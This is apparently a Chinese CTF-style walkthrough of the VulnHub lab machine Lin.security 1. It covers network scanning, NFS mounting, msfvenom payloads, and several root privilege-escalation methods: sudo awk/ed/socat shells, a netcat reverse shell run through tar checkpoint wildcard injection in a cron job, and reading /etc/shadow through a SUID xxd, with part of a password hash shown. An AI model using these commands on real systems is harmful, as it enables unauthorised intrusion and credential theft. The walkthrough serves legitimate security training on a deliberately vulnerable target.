

一、 靶机信息

靶机名称: Lin.security 1

操作系统: Linux

渗透测试目标: 提权至 root 用户

靶机登录信息: bob/secret

下载地址: [Lin.Security: 1 ~ VulnHub](#)

二、 靶机配置

导入靶机, 使用 bob/secret 进行登录

```
Ubuntu 18.04 LTS linsecurity tty1
linsecurity login: bob
Password:
LIN.SECURITY
Welcome to lin.security | https://in.security | version 1.0
bob@linsecurity:~$ _
```

`sudo awk 'BEGIN {system("/bin/sh")}'`

"打不出来, 使用 shift+2 可以打出来

```
Welcome to lin.security | https://in.security | version 1.0
bob@linsecurity:~$ sudo awk 'BEGIN{system("/bin/bash")}'
[sudo] password for bob:
root@linsecurity:~#
```

id

vim /etc/default/keyboard

修改如图 (us)

```

# KEYBOARD CONFIGURATION FILE

# Consult the keyboard(5) manual page.

XKBMODEL="pc105"
XKBVARIANT=""
XKBOPTIONS=""

BACKSPACE="guess"
~
~
~
~
~
~
~

```

vim /etc/netplan/50-cloud-init.yaml

#改 enp0s3 为 ens33

```

# network: {config: disabled}
network:
  ethernets:
    ens33:
      addresses: []
      dhcp4: true
      optional: true
  version: 2
~

```

setupcon

netplan apply

```

root@linsecurity:~# setupcon
root@linsecurity:~# netplan apply
root@linsecurity:~#

```

三、 信息搜集

1、 目标 IP 获取

未更改配置无法获取 IP

```

# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:4a:c2:f4, IPv4: 10.10.10.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.10.10.1      00:50:56:c0:00:08      (Unknown)
10.10.10.2      00:50:56:ed:8c:c1      (Unknown)
10.10.10.134    00:0c:29:ec:bd:a5      (Unknown)
10.10.10.254    00:50:56:e0:e5:80      (Unknown)

```

找到目标 IP: 10.10.10.134

2、 端口扫描

nmap -p- --min-rate 1000 -T4 10.10.10.134

```

PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp    open  rpcbind
2049/tcp   open  nfs
36375/tcp open  unknown
39421/tcp  open  unknown
45809/tcp  open  unknown
60013/tcp  open  unknown
MAC Address: 00:0C:29:EC:BD:A5

```

`nmap -p22,111,2049,36375,39421,45809,60013 -sV -sC -A --min-rate 1000 -T4 10.10.10.134`

```

2049/tcp  open  nfs      3-4 (RPC #100003)
36375/tcp open  mountd   1-3 (RPC #100005)
39421/tcp open  mountd   1-3 (RPC #100005)
45809/tcp open  nlockmgr 1-4 (RPC #100021)
60013/tcp open  mountd   1-3 (RPC #100005)
MAC Address: 00:0C:29:EC:BD:A5 (VMware)

```

四、 GetShell

1、 udf 挂载获取权限

有点熟悉，感觉像 udf 挂载添加 SSH 公钥进行登录

查看挂载目录

`showmount -e IP`

```

(root@kali)-[/home/kali]
# showmount -e 10.10.10.134
Export list for 10.10.10.134:
/home/peter *

```

不是根目录，感觉错误

挂载目录/home/peter

创建挂载目录

`mkdir /tmp/nfs_root`

进行挂载

`mount -t nfs 10.10.10.134:/home/peter /tmp/nfs_root`

查看是否挂载成功：

`mount`

```
10.10.10.134:/home/peter on /tmp/nfs_root type nfs4 (rw,relatime,vers=4.2,rsize=
trans=2,sec=sys,clientaddr=10.10.10.128,local_lock=none,addr=10.10.10.134)
```

cd /tmp/nfs_root

```
(root@kali)-[/tmp/nfs_root]
# ls -al
total 28
drwxr-xr-x  5 1001 1005 4096 Jul 10 2018 .
drwxrwxrwt 16 root root  380 Jun 21 00:58 ..
-rw-r--r--  1 1001 1005  220 Jul  9 2018 .bash_logout
-rw-r--r--  1 1001 1005 3771 Jul  9 2018 .bashrc
drwx----- 2 1001 1005 4096 Jul 10 2018 .cache
-rw-rw-r--  1 1001 1005    0 Jul 10 2018 .cloud-locale-t
drwx----- 3 1001 1005 4096 Jul 10 2018 .gnupg
drwxrwxr-x  3 1001 1005 4096 Jul 10 2018 .local
-rw-r--r--  1 1001 1005  807 Jul  9 2018 .profile
```

另开一个终端创建用户和用户组

groupadd -g 1005 peter

adduser peter -uid 1001 -gid 1005

```
(root@kali)-[/tmp/nfs_root]
# adduser peter -uid 1001 -gid 1005
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for peter
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

```
(root@kali)-[/tmp/nfs_root]
# su peter
(peter@kali)-[/home/kali/Desktop]
$
```

切换到挂载目录:

cd /tmp/nfs_root

生成恶意文件:

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs_root/shell.elf

```
(peter@kali)-[/home/kali/Desktop]
$ cd /tmp/nfs_root

(peter@kali)-[/tmp/nfs_root]
$ msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
```

```
Saved as: /tmp/nfs_root/shell.elf
```

```
chmod +x shell.elf
```

```
ls -la
```

```
-rwxrwxr-x  1 peter peter  132 Jun 21 01:09 shell.elf
./shell.elf
```

```
└─$ ./shell.elf
peter@kali:/tmp/nfs_root$
```

只有低权限

2、SSH 登录获取权限

```
└─$ ssh bob@10.10.10.134
The authenticity of host '10.10.10.134 (10.10.10.134)' can't be established.
ED25519 key fingerprint is SHA256:anPRcsI68yyyGmGTThL+wwTepLg+FcJcWjtzjkXxQG0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.134' (ED25519) to the list of known hosts.
bob@10.10.10.134's password:
```

lin.security

Welcome to lin.security | <https://in.security> | version 1.0

```
bob@linsecurity:~$
```

五、 提权

1、sudo 提权

查看可以以 root 权限执行的命令

```
bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect,
    /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi,
    /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp
```

```
sudo ash
```

```
sudo bash
```

```
sudo /bin/bash
```

```
sudo dash
```

```
sudo csh
```

```
sudo sh
```

```
sudo curl
```

```
sudo zsh
```

2、socat 提权

```
/usr/bin/socat, /u
```

执行命令

使用 socat 创建 TCP 反向 Shell 监听器

```
sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane &  
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234
```

```
^Cbob@linsecurity:~$ sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane &  
[1] 9761  
bob@linsecurity:~$ socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234  
sh: 0: can't access tty; job control turned off  
# id  
uid=0(root) gid=0(root) groups=0(root)  
#
```

3、awk 提权

```
/usr/bin/awk, /b
```

```
sudo awk 'BEGIN {system("/bin/sh")}'
```

```
bob@linsecurity:~$ which awk  
/usr/bin/awk  
bob@linsecurity:~$ sudo awk 'BEGIN {system("/bin/sh")}'  
# id  
uid=0(root) gid=0(root) groups=0(root)  
#
```

4、ed 提权

```
/bin/ed,
```

sudo ed

```
bob@linsecurity:~$ sudo ed  
  
# id  
uid=0(root) gid=0(root) groups=0(root)  
#
```

5、定时任务

cat /etc/crontab

```
bob@linsecurity:~$ cat /etc/crontab  
# /etc/crontab: system-wide crontab  
# Unlike any other crontab you don't have to run the `crontab`  
# command to install the new version when you edit this file  
# and files in /etc/cron.d. These files also have username fields,  
# that none of the other crontabs do.  
  
SHELL=/bin/sh  
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin  
  
# m h dom mon dow user  command  
17 * * * * root    cd / && run-parts --report /etc/cron.hourly  
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )  
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )  
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )  
*/1 * * * * root    /etc/cron.daily/backup  
#
```

有一个每分钟执行一次的任务，执行的是`/etc/cron.daily/backup`

ls -l /etc/cron.daily/backup

创建脚本文件：


```
msfvenom -p cmd/unix/reverse_netcat lhost=10.10.10.134 lport=9999 R
echo "mkfifo /tmp/uvkziz; nc 10.10.10.134 9999 0</tmp/uvkziz | /bin/sh >/tmp/uvkziz 2>&1;
rm /tmp/uvkziz" > shell.sh && chmod +x shell.sh
允许恶意文件:
```

```
/bin/tar
```

```
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
```

```
bob@linsecurity:~$ echo "mkfifo /tmp/uvkziz; nc 10.10.10.134 9999 0</tmp/uvkziz | /bin/sh >/tmp/uvkziz 2>&1; rm /tmp/uvkziz" > sh
ell.sh 66 chmod +x shell.sh
bob@linsecurity:~$ echo > "--checkpoint-action=exec=sh shell.sh"
bob@linsecurity:~$ echo > "--checkpoint=1"
bob@linsecurity:~$ nc -lvnp 9999
Listening on [0.0.0.0] (family 0, port 9999)
```

```
Listening on [0.0.0.0] (family 0, port 9999)
Connection from 10.10.10.134 38568 received!
id
uid=0(root) gid=0(root) groups=0(root)
```

6、隐藏文件提权

```
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
```

```
-rw-r--r-- 1 susan susan 3771 Jul  9  2018 /home/susan/.bashrc
-rw-r--r-- 1 susan susan 220 Jul  9  2018 /home/susan/.bash_logout
-rw-r--r-- 1 susan susan 20 Jul  9  2018 /home/susan/.secret
-rw-r--r-- 1 susan susan 807 Jul  9  2018 /home/susan/.profile
```

```
-rw-r--r-- 1 susan susan 807 Jul  9  2018 /home/susa
bob@linsecurity:~$ cat /home/susan/.secret
MySuperS3cretValue!
bob@linsecurity:~$
```

MySuperS3cretValue!

7、suid 提权

查看以所有者身份执行的

```
find / -user root -perm -4000 -exec ls -ldb {} \;
```

```
-rwsr-x--- 1 root itsservices 18552 Apr 10  2018 /usr/bin/xxd
-rwsr-xr-x 1 root root 37136 Jan 25  2018 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 40344 Jan 25  2018 /usr/bin/newgrp
```

```
cat /etc/group | grep itsservices
```

```
xxd "/etc/shadow" |xxd -r
```

```
uid=1002(susan) gid=1006(susan) groups=1006(susan),1007(itsservices)
susan@linsecurity:/home/bob$ xxd "/etc/shadow" |xxd -r
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAyy2/6K/UU5wLobTSz/Pw5/ILvXgq9Nib
```

```
susan@linsecurity:/home/bob$ taskset 1 /bin/bash -p
bash-4.4# id
uid=1002(susan) gid=1006(susan) euid=0(root) egid=0(root) groups=0(root),1006(susan),1007(itsservices)
bash-4.4#
```